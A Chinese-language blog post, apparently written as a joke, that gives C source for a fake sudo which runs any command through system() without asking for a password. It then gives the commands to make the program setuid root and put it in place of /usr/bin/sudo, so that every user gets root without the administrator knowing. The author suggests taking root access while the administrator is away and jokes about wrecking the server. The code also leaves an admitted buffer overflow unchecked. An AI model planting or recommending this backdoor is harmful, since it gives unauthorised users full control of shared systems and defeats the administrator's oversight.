大家都知道,在linux家族中最近幾年出了個能干的Ubuntu,它裡面有個命令特別與眾不同--sudo這個命令確實給普通用戶提供了很大的方便。可是每次執行sudo的時候都需要有個passwd輸入。
要知道程序員是很懶滴,每次輸入一串亂踢八糟的東東真滴很郁悶,特別是當輸入幾次都出錯滴時候。這時候就應該想到去看看sudo這個家伙是怎麼搞的啦。於是:
$cat /usr/bin/sudo
結果出來一大堆亂碼,哦,竟然是二進制滴,悲劇了
想到ISO C給了一個很好用的東東 system() 。有個這個東東大家可能很快就能明白我要干什麼了,呵呵。是了,自己搞個sudo。我系統原來的干掉。這樣,呵呵,特權從此洩露。所有用戶都是超級管理員,而管理員老先生還不知道發生了什麼,盡管憧憬吧。不過,至少你得有一次接觸到超級用戶權限的機會。呵呵,這個好辦,趁他上廁所。呵呵。邪惡……
下面將我滴sudo跟大家分享分享:
sudo.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc ,char * argv[]){
char commandline[1024];
char * ptr = commandline;
if(argc < 2){
fputs("Usage: sudo commandline arg0 ...\n",stderr);
exit(1);
}
for(int i = 1; argv[i] != NULL;i++){
for(int j= 0;j < strlen(argv[i]);j++){
/*這裡考慮標准IO庫行緩沖最大值1024的緣故沒有判斷緩沖區溢出的情景,如果要在重要場合應用這個程序
可以在此添加溢出判斷*/
*ptr++ = argv[i][j];
}
*ptr++ = ' ';
}
*ptr++ = '\0';
if(system(commandline) < 0){
fputs("Err: in system!",stderr);
exit(2);
}
return 0;
}
編譯:
$gcc -std=c99 sudo.c -o sudo
得到了sudo這個赝品,呵呵
接下來就是竊取超級特權的瞬間了,看好了
$sudo chown root ./sudo
$sudo chmod u+s ./sudo
$sudo chmod o+x ../sudo
替換系統sudo(這個好像有點太邪惡了,呵呵)
$sudo cp /usr/bin/sudo /usr/bin/sudo.bak
$sudo cp ./sudo /usr/bin/sudo
大功告成!!!!!!!!!!!!!!!!!!!!!!!!!!
試試你的新sudo
如果不想這麼邪惡,可以將我們這個sudo放在自己的目錄下,編輯登錄腳本,使得我們的路徑放置在系統那個sudo的前面,這樣,平常就用這個強大的赝品sudo,有必要用原來那個sudo的時候就用$/usr/bin/sudo yourcommandline
這樣滴話,就不會惹惱管理員了,自己也能安靜些,其他用戶沒有執行你的路徑的權限,也是訪問不到你這個強大的sudo滴,呵呵
注意:如果在上面的介紹中替換了系統的sudo,可以用下面的命令找回:
$cd youranothersudopath
$./sudo cp /usr/bin/sudo.bak /usr/bin/sudo
OK,又恢復原樣。
呵呵呵呵呵額呵呵。盡情的享受吧,哪天郁悶了把服務器給 干了,呵呵
後記:貌似這個sudo不會造成系統的重大問題,因為好多任務都會檢查實際用戶ID,這樣的話即使有設置用戶Id標識,但是還是不能通過部分檢查,可見(Unix)linux設計的是多麼好Y。